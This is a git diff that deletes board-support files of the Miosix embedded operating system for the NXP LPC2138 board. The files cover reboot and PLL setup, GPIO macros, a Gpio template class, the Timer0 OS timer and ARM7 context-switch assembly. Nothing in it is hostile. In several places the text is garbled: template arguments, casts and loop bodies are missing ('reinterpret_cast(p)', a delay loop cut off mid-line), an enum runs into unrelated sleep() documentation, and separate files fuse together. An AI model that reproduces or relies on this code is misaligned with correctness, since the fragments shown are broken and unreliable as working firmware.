-When in shutdown mode, power consumption of the miosix board is reduced to ~ -150uA, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must be set as output high. -*/ -void shutdown() -{ - _shutdown(false,NULL); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - //Clearing PINSEL registers. All pin are GPIO by default - PINSEL0=0; - PINSEL1=0; - //Restore failsafe pin state (only non-gpio pin) - IOSET0=IOSET0_failsafe & (~GPIO_0_MASK); - IOCLR0=IOCLR0_failsafe & (~GPIO_0_MASK); - IODIR0=((IODIR0 & GPIO_0_MASK) | (IODIR0_failsafe & (~GPIO_0_MASK))); - //Not changing IODIR1, IOCLR1 and IOSET1 because are all gpio - delayMs(100); - miosix_private::IRQsystemReboot(); -} - -// -// System PLL -// - -#define PLOCK 0x400 - -/** -\internal -Generates the PLL feed sequence -*/ -static inline void feed() -{ - PLLFEED=0xAA; - PLLFEED=0x55; -} - -void setPllFreq(PllValues r) -{ - PLLCON=0x0;//PLL OFF - feed(); - switch(r) - { - case PLL_2X://PLL=2*F - // Enabling MAM - MAMCR=0x0;//MAM Disabled - MAMTIM=0x2;//Flash access is 2 cclk - MAMCR=0x2;//MAM Enabled - // Setting PLL - PLLCFG=0x41;// M=2 P=4 ( FCCO=14.7456*M*2*P=235MHz ) - feed(); - PLLCON=0x1;//PLL Enabled - feed(); - while(!(PLLSTAT & PLOCK));//Wait for PLL to lock - PLLCON=0x3;//PLL Connected - feed(); - break; - case PLL_4X://PLL=4*F - // Enabling MAM - MAMCR=0x0;//MAM Disabled - MAMTIM=0x3;//Flash access is 3 cclk - MAMCR=0x2;//MAM Enabled - // Setting PLL - PLLCFG=0x23;// M=4 P=2 ( FCCO=14.7456*M*2*P=235MHz ) - feed(); - PLLCON=0x1;//PLL Enabled - feed(); - while(!(PLLSTAT & PLOCK));//Wait for PLL to lock - PLLCON=0x3;//PLL Connected - feed(); - break; - default://PLL OFF - // Enabling MAM - MAMCR=0x0;//MAM Disabled - MAMTIM=0x1;//Flash access is 1 cclk - MAMCR=0x2;//MAM Enabled - break; - } -} - -PllValues getPllFreq() -{ - //If "pll off" or "pll not connected" return PLL_OFF - if((PLLSTAT & 0x300)!=0x300) return PLL_OFF; - switch(PLLSTAT & 0x7f) - { - case 0x41: return PLL_2X; - case 0x23: return PLL_4X; - default: return PLL_UNDEF;//PLL undefined value - } -} - -} //namespace miosix diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp_impl.h b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp_impl.h deleted file mode 100644 index 82afff6a7..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,386 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "LPC213x.h" -#include "config/miosix_settings.h" - -/** -\addtogroup Hardware -\{ -*/ - -/** -Turn on LED connected to P0.31 -*/ -#define ledOn() IOCLR0=(1<<31) - -/** -Turn off LED connected to P0.31 -*/ -#define ledOff() IOSET0=(1<<31) - -/** -Polls the SD card sense GPIO -\return true if there is an uSD card in the socket. -*/ -#define sdCardSense() (!(IOPIN0 & (1<<11))) - -/** -\return true if the USB cable is connected. -*/ -#define USBstatus() (IOPIN0 & (1<<15)) - -/** -Polls the button on the miosix board -\return true if the button is pushed. -*/ -#define buttonEnter() (!(IOPIN0 & (1<<14))) - -//All bits related to gpio pins of port 0 are @ 1 -#define GPIO_0_MASK 0x7ee117fc - -/** -Set one or more gpio pin of port 0. -If the pin is selected as output, it will become high. -Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 -p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. -To set a pin with number k, the k-th bit in the x variable must be set. -Example: to set pin 4,7 and 8 use: -\code pin_0_set( (1<<4) | (1<<7) | (1<<8) );\endcode -\param x unsigned int where bits to set are @ 1 -*/ -#define pin_0_set(x) { IOSET0=((x) & GPIO_0_MASK); } - -/** -Clear one or more gpio pin of port 0. -If the pin is selected as output, it will become low. -Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 -p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. -To clear a pin with number k, the k-th bit in the x variable must be set. -Example: to clear pin 4,7 and 8 use: -\code pin_0_clr( (1<<4) | (1<<7) | (1<<8) );\endcode -\param x unsigned int where bits to clear are @ 1 -*/ -#define pin_0_clr(x) { IOCLR0=((x) & GPIO_0_MASK); } - -/** -Read one or more gpio pin of port 0. -If the pin is selected as input, its value can be read. -Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 -p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. -If the pin with number k is high, the k-th bit in the x variable will be set. -The value of pin selected as output and of non-gpio pins is unspecified. -Example: to read pin 9 use: -\code if(pin_0_read() & (1<<9)) { pin 9 is high } else { pin 9 is low }\endcode -\return unsigned int where bits set are @ 1 -*/ -#define pin_0_read() (IOPIN0) - -/** -Modify the state of one or more pin of port 0, so that they become output. -Once the pin are output, you can write to them using pin_0_set() and pin_0_clr() -Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 -p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. -To change the state of a pin with number k, the k-th bit in the x variable must -be set. -Example: to set pin 4,7 and 8 as output use: -\code mode_0_out( (1<<4) | (1<<7) | (1<<8) );\endcode -\param x unsigned int where bits to set as output are @ 1 -*/ -#define mode_0_out(x) { IODIR0 |= ((x) & GPIO_0_MASK); } - -/** -Modify the state of one or more pin of port 0, so that they become input. -Once the pin are input, you can read them using pin_0_read() -Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 -p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. -To change the state of a pin with number k, the k-th bit in the x variable must -be set. -Example: to set pin 4,7 and 8 as input use: -\code mode_0_in( (1<<4) | (1<<7) | (1<<8) );\endcode -\param x unsigned int where bits to set as input are @ 1 -*/ -#define mode_0_in(x) { IODIR0 &= ((x) | (~GPIO_0_MASK)); } - -/** -Set one or more gpio pin of port 1. -If the pin is selected as output, it will become high. -Available pin are in range from p0.16 to p0.31. -To set a pin with number k, the k-th bit in the x variable must be set. -Example: to set pin 16 and 18 use: -\code pin_1_set( (1<<16) | (1<<18) );\endcode -\param x unsigned int where bits to set are @ 1 -*/ -#define pin_1_set(x) { IOSET1=(x); } - -/** -Clear one or more gpio pin of port 1. -If the pin is selected as output, it will become low. -Available pin are in range from p0.16 to p0.31. -To clear a pin with number k, the k-th bit in the x variable must be set. -Example: to clear pin 16 and 18 use: -\code pin_1_clr( (1<<16) | (1<<18) );\endcode -\param x unsigned int where bits to clear are @ 1 -*/ -#define pin_1_clr(x) { IOCLR1=(x); } - -/** -Read one or more gpio pin of port 1. -If the pin is selected as input, its value can be read. -Available pin are in range from p0.16 to p0.31. -If the pin with number k is high, the k-th bit in the x variable will be set. -The value of pin selected as output and of non-gpio pins is unspecified. -Example: to read pin 19 use: -\code if(pin_1_read() & (1<<19)) { pin 19 is high } else { pin 19 is low }\endcode -\return unsigned int where bits set are @ 1 -*/ -#define pin_1_read() (IOPIN1) - -/** -Modify the state of one or more pin of port 1, so that they become output. -Once the pin are output, you can write to them using pin_1_set() and pin_1_clr() -Available pin are in range from p0.16 to p0.31. -To change the state of a pin with number k, the k-th bit in the x variable must -be set. -Example: to set pin 16 and 18 as output use: -\code mode_1_out( (1<<16) | (1<<18) );\endcode -\param x unsigned int where bits to set as output are @ 1 -*/ -#define mode_1_out(x) { IODIR1 |= (x); } - -/** -Modify the state of one or more pin of port 1, so that they become input. -Once the pin are input, you can read them using pin_1_read() -Available pin are in range from p0.16 to p0.31. -To change the state of a pin with number k, the k-th bit in the x variable must -be set. -Example: to set pin 16 and 18 as input use: -\code mode_1_in( (1<<16) | (1<<18) );\endcode -\param x unsigned int where bits to set as input are @ 1 -*/ -#define mode_1_in(x) { IODIR1 &= (x); } - -//Bits of PCONP register -#define PCTIM0 (1<<1) -#define PCTIM1 (1<<2) -#define PCUART0 (1<<3) -#define PCUART1 (1<<4) -#define PCPWM0 (1<<5) -#define PCI2C0 (1<<7) -#define PCSPI0 (1<<8) -#define PCRTC (1<<9) -#define PCSPI1 (1<<10) -#define PCAD0 (1<<12) -#define PCI2C1 (1<<19) -#define PCAD1 (1<<20) - -//Bits of PCON register -#define IDL (1<<0) -#define PD (1<<1) -#define BODPDM (1<<2) -#define BOGD (1<<3) -#define BORD (1<<4) - -///No operation instruction. -///Expands to an assembler "nop". -#define nop() { asm volatile("nop"::); } - -/** -\} -*/ - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** -\enum DayOfWeek -Day of week field in Time struct -*/ -enum DayOfWeek -{ - MON,///If t is NULL, wakeup only -occurs when p0.14 goes low. If t is a valid time, wakeup occurs when that time -is reached OR when p0.14 goes low, whichever occurs first.
-Note that time support is only enabled if WITH_RTC is \#define'd in -miosix_settings.h. If it is not defined, time will be ignored.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-Note: if using the wakeup time, it must be at least 2 seconds after the moment -where sleep() is called, otherwise wakeup will not occur.
-When in sleep mode, power consumption of the miosix board is reduced to ~ 150uA, -however, true power consumption depends on what is connected to the GPIO pins. -The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling sleep(). Please note that to -minimize power consumption all unused GPIO must be set as output high. -\param t wakeup time, or NULL -*/ -void sleep(Time *t); - -/** -\internal -Constants to pass to setPllFreq(), and values returned by getPllFreq() -This enum is used by the system and should not be called by user code. -*/ -enum PllValues -{ - PLL_4X=4, ///<\internal AHB clock frequency = xtal freq. multiplied by 4 - PLL_2X=2, ///<\internal AHB clock frequency = xtal freq. multiplied by 2 - PLL_OFF=0, ///<\internal AHB clock frequency = xtal freq. - PLL_UNDEF=-1///<\internal Returned by getPllFreq() in case of errors -}; - -/** -\internal -Set PLL frequency -
Warning! Disable interrupts before changing PLL frequency -
Warning! This is meant to work with a 14.7456MHz xtal, and is UNTESTED with other values -
Warning! Changing PLL frequency may cause problems to hardware drivers -\param r the desired PLL settings - -This function is used by the system and should not be called by user code. -*/ -void setPllFreq(PllValues r); - -/** -\internal -Get PLL settings -Warning! This is meant to work with a 14.7456MHz xtal, and is UNTESTED with other values -\return the current PLL settings - -This function is used by the system and should not be called by user code. -*/ -PllValues getPllFreq(); - -/** -\internal -Constants to pass to set_apb_ratio(), and values returned by get_apb_ratio() -This enum is used by the system and should not be called by user code. -*/ -enum APBValues -{ - APB_DIV_1=1,///<\internal AHB and APB run @ same speed - APB_DIV_2=2,///<\internal APB runs at 1/2 of AHB frequency - APB_DIV_4=0 ///<\internal APB runs at 1/4 of AHB frequency -}; - -/** -\internal -Set apb ratio (how much peripherals are slowed down with respect to cpu) -Warning! Changing apb ratio may cause problems to hardware drivers -\param r desired apb ratio - -This function is used by the system and should not be called by user code. -*/ -inline void set_apb_ratio(APBValues r) -{ - VPBDIV=(r); -} - -/** -\internal -Get apb ratio (how much peripherals are slowed down with respect to cpu) -\return current apb ratio - -This function is used by the system and should not be called by user code. -*/ -inline APBValues get_apb_ratio() -{ - return (APBValues)(VPBDIV & 0x3); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/delays.cpp b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/delays.cpp deleted file mode 100644 index d6d912a28..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/delays.cpp +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - register const unsigned int count=14746; - - for(unsigned int i=0;i * - ***************************************************************************/ - -/* - * Versions: - * 1.0 First release - * 1.1 Made Mode, Gpio and GpioBase constructor private to explicitly disallow - * creating instances of these classes. - * 1.2 Fixed a bug - * 1.3 Applied patch by Lee Richmond (http://pastebin.com/f7ae1a65f). Now - * mode() is inlined too. - * 1.4 Backported this abstraction library on NXP LPC2138 microcontrollers - */ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "LPC213x.h" - -namespace miosix { - -/** - * This class just encapsulates the Mode_ enum so that the enum names don't - * clobber the global namespace. - */ -class Mode -{ -public: - /** - * GPIO mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT); \endcode - */ - enum Mode_ - { - INPUT = 0x0, ///Floating Input - OUTPUT = 0x1, ///Push Pull Output - }; -private: - Mode(); //Just a wrapper class, disallow creating instances -}; - -/** - * \internal - * Memory layout of the GPIOs in the LPC2138 - */ -struct GpioMemoryLayout -{ - volatile unsigned int IOPIN; - volatile unsigned int IOSET; - volatile unsigned int IODIR; - volatile unsigned int IOCLR; -}; - -const unsigned int GPIO0_BASE=0xe0028000;///<\internal Base address of GPIO0 registers -const unsigned int GPIO1_BASE=0xe0028010;///<\internal Base address of GPIO1 registers - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - */ -class GpioPin -{ -public: - /** - * Constructor - * \param p GPIO0_BASE or GPIO1_BASE. Select which port - * \param n which pin (0 to 15) - */ - GpioPin(unsigned int p, unsigned char n) - : p(reinterpret_cast(p)), n(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT) - * \param m enum Mode_ - */ - void mode(Mode::Mode_ m) - { - if(m==Mode::INPUT) - { - p->IODIR &= ~(1<IODIR |= (1<IOSET= 1<IOCLR= 1<IOPIN & 1<(p); } - - /** - * \return the pin number, from 0 to 31 - */ - unsigned char getNumber() const { return n; } - -private: - GpioMemoryLayout *p; //Pointer to the port - unsigned char n; //Number of the GPIO within the port -}; - -/** - * Gpio template class - * \param P GPIO0_BASE or GPIO1_BASE. Select which port - * \param N which pin (0 to 31) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio -{ -public: - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT) - * \param m enum Mode_ - */ - static void mode(Mode::Mode_ m) - { - if(m==Mode::INPUT) - { - reinterpret_cast(P)->IODIR &= ~(1<(P)->IODIR |= (1<(P)->IOSET= 1<(P)->IOCLR= 1<(P)->IOPIN & 1< * - ***************************************************************************/ - -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" -#include "interfaces/arch_registers.h" - -namespace miosix { - -void TIM0_Routine() __attribute__ ((interrupt("IRQ"),naked)); - -class LPC2138Timer0 : public TimerAdapter -{ -public: - static inline unsigned int IRQgetTimerCounter() { return T0TC; } - static inline void IRQsetTimerCounter(unsigned int v) { T0TC=v; } - - static inline unsigned int IRQgetTimerMatchReg() { return T0MR0; } - static inline void IRQsetTimerMatchReg(unsigned int v) { T0MR0=v; } - - static inline bool IRQgetOverflowFlag() { return T0IR & (1<<3); } - static inline void IRQclearOverflowFlag() { T0IR = (1<<3); } - - static inline bool IRQgetMatchFlag() { return T0IR & (1<<0); } - static inline void IRQclearMatchFlag() { T0IR = (1<<0); } - - static inline void IRQforcePendingIrq() { VICSoftInt=(1<<4); } - - static inline void IRQstopTimer() { T0TCR=0; } - static inline void IRQstartTimer() { T0TCR=1; } - - static unsigned int IRQTimerFrequency() { return miosix::TIMER_CLOCK; } - - static void IRQinitTimer() - { - PCONP|=(1<<1); //Enable TIMER0 - T0TCR=0; //Stop timer - T0CTCR=0; //Select "timer mode" - T0TC=0; //Counter starts from 0 - T0PR=0; //No prescaler - T0PC=0; //Prescaler counter starts from 0 - T0MR0=0; //Using MR0 as match interrupt - T0MR3=0; //Using MR3 as overflow interrupt (overflow @ 0) - T0MCR=(1<<0)|(1<<9);//Generate interrupt on MR0 & MR3, no reset on match - T0CCR=0; //No capture - T0EMR=0; //No pin toggle on match - //Init VIC - VICSoftIntClr=(1<<4); //Clear timer interrupt flag (if previously set) - VICIntSelect&=~(1<<4); //Timer0=IRQ - VICIntEnable=(1<<4); //Timer0 interrupt ON - VICVectCntl0=0x20 | 0x4;//Slot 0 of VIC used by Timer0 - VICVectAddr0=reinterpret_cast(&TIM0_Routine); - } -}; - -static LPC2138Timer0 timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); - -void TIM0_Routine() -{ - saveContextFromIrq(); - asm volatile("bl _ZN6miosix11osTimerImplEv"); - restoreContext(); -} - -void __attribute__((noinline)) osTimerImpl() -{ - VICSoftIntClr=(1<<4);//Cleared before as IRQhandler() may set it again - timer.IRQhandler(); - VICVectAddr=0xff;//Restart VIC -} - -} //namespace miosix diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability.cpp b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability.cpp deleted file mode 100644 index f2d690bfa..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability.cpp +++ /dev/null @@ -1,119 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "LPC213x.h" -#include "interfaces/portability.h" -#include "interfaces/delays.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "miosix.h" -#include "portability_impl.h" -#include "kernel/scheduler/scheduler.h" -#include - -using namespace std; - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. - * Function is not static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - miosix::Thread::IRQstackOverflowCheck(); - miosix::Scheduler::IRQfindNextThread(); -} - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -extern "C" void kernel_SWI_Routine() __attribute__ ((interrupt("SWI"),naked)); -extern "C" void kernel_SWI_Routine() -{ - saveContextFromSwi(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -void IRQsystemReboot() -{ - //Jump to reset vector - asm volatile("ldr pc, =0"::); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - ctxsave[0]=reinterpret_cast(pc);// First function arg is passed in r0 - ctxsave[1]=reinterpret_cast(argv); - ctxsave[2]=0; - ctxsave[3]=0; - ctxsave[4]=0; - ctxsave[5]=0; - ctxsave[6]=0; - ctxsave[7]=0; - ctxsave[8]=0; - ctxsave[9]=0; - ctxsave[10]=0; - ctxsave[11]=0; - ctxsave[12]=0; - ctxsave[13]=reinterpret_cast(sp);//Initialize the thread's stack pointer - ctxsave[14]=0xffffffff;//threadLauncher never returns, so lr is not important - //Initialize the thread's program counter to the beginning of the entry point - ctxsave[15]=reinterpret_cast(&miosix::Thread::threadLauncher); - ctxsave[16]=0x1f;//thread starts in system mode with irq and fiq enabled. -} - -void IRQportableStartKernel() -{ - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - miosix::Thread::yield();//Note that this automatically enables interrupts - //Never reaches here -} - -//IDL bit in PCON register -#define IDL (1<<0) - -void sleepCpu() -{ - PCON|=IDL; -} - -} //namespace miosix_private diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability_impl.h b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability_impl.h deleted file mode 100644 index 545a2a2f8..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,216 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "config/miosix_settings.h" - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+64 --> cpsr - * *ctxsave+60 --> pc (return address) - * *ctxsave+56 --> lr - * *ctxsave+52 --> sp - * *ctxsave+48 --> r12 - * *ctxsave+44 --> r11 - * *ctxsave+40 --> r10 - * *ctxsave+36 --> r9 - * *ctxsave+32 --> r8 - * *ctxsave+28 --> r7 - * *ctxsave+24 --> r6 - * *ctxsave+20 --> r5 - * *ctxsave+16 --> r4 - * *ctxsave+12 --> r3 - * *ctxsave+8 --> r2 - * *ctxsave+4 --> r1 - * *ctxsave+0 --> r0 - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=13; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContextFromSwi() - * Save context from a software interrupt - * It is used by the kernel, and should not be used by end users. - */ -#define saveContextFromSwi() \ - asm volatile( /*push lr on stack, to use it as a general purpose reg.*/ \ - "stmfd sp!,{lr} \n\t" \ - /*load ctxsave and dereference the pointer*/ \ - "ldr lr,=ctxsave \n\t" \ - "ldr lr,[lr] \n\t" \ - /*save all thread registers except pc*/ \ - "stmia lr,{r0-lr}^ \n\t" \ - /*add a nop as required after stm ^ (read ARM reference about stm(2))*/ \ - "nop \n\t" \ - /*move lr to r0, restore original lr (return address) and save it*/ \ - "add r0,lr,#60 \n\t" \ - "ldmfd sp!,{lr} \n\t" \ - "stmia r0!,{lr} \n\t" \ - /*save spsr on top of ctxsave*/ \ - "mrs r1,spsr \n\t" \ - "stmia r0,{r1} \n\t"); - -/** - * \def saveContextFromIrq() - * Save context from an IRQ
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - */ -#define saveContextFromIrq() \ - asm volatile( /*Adjust lr, because the return address in a ISR has a 4 bytes offset*/ \ - "sub lr,lr,#4 \n\t"); \ - saveContextFromSwi(); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContextFromIrq() - * (or saveContextFromSwi() ) is used. Must be the last line of an IRQ where - * a context switch can happen. The IRQ must be "naked" to prevent the compiler - * from generating context restore. - */ -#define restoreContext() \ - asm volatile( /*load ctxsave and dereference the pointer*/ \ - /*also add 64 to make it point to "top of stack"*/ \ - "ldr lr,=ctxsave \n\t" \ - "ldr lr,[lr] \n\t" \ - "add lr,lr,#64 \n\t" \ - /*restore spsr*/ \ - /*after this instructions, lr points to ctxsave[15] (return address)*/ \ - "ldmda lr!,{r1} \n\t" \ - "msr spsr,r1 \n\t" \ - /*restore all thread registers except pc*/ \ - "ldmdb lr,{r0-lr}^ \n\t" \ - /*add a nop as required after ldm ^ (read ARM reference about ldm(2))*/ \ - "nop \n\t" \ - /*now that lr points to return address, return from interrupt*/ \ - "ldr lr,[lr] \n\t" \ - "movs pc,lr \n\t"); - -/** - * Enable interrupts (both irq and fiq)
- * If you are not using FIQ you should use disableInterrupts() - * FIQ means fast interrupts, is another level of interrupts available in the - * ARM7 cpu. They are not used in miosix, and are available to the user. - * The main advantage of FIQ is that they can even interrupt IRQ, so they have - * a so high priority that can interrupt the kernel itself.
The disadvantage - * is that, since can interrupt the kernel at any time, all functions, including - * those marked as IRQ cannot be called when IRQ and FIQ are disabled. - * Therefore, data transfer between user code and FIQ is more difficult to - * implement than IRQ. Another disadvantage is that they are only available in - * the ARM cpu, so if the kernel will be ported to another cpu, they won't be - * available.
- * To use FIQ the user must change the code of the default FIQ interrupt routine - * defined in miosix/drivers/interrupts.cpp
By default FIQ are enabled but no - * peripheral is associated with FIQ, so no FIQ interrupts will occur. - */ -#define enableIRQandFIQ() \ - asm volatile(".set I_BIT, 0x80 \n\t" \ - ".set F_BIT, 0x40 \n\t" \ - "mrs r0, cpsr \n\t" \ - "and r0, r0, #~(I_BIT|F_BIT) \n\t" \ - "msr cpsr_c, r0 \n\t" \ - :::"r0"); - -///Disable interrupts (both irq and fiq)
-///If you are not using FIQ you should use enableInterrupts() -#define disableIRQandFIQ() \ - asm volatile(".set I_BIT, 0x80 \n\t" \ - ".set F_BIT, 0x40 \n\t" \ - "mrs r0, cpsr \n\t" \ - "orr r0, r0, #I_BIT|F_BIT \n\t" \ - "msr cpsr_c, r0 \n\t" \ - :::"r0"); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "swi 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - asm volatile(".set I_BIT, 0x80 \n\t" - "mrs r0, cpsr \n\t" - "orr r0, r0, #I_BIT \n\t" - "msr cpsr_c, r0 \n\t":::"r0"); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - asm volatile(".set I_BIT, 0x80 \n\t" - "mrs r0, cpsr \n\t" - "and r0, r0, #~(I_BIT) \n\t" - "msr cpsr_c, r0 \n\t":::"r0"); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - int i; - asm volatile("mrs %0, cpsr ":"=r" (i)); - if(i & 0x80) return false; - 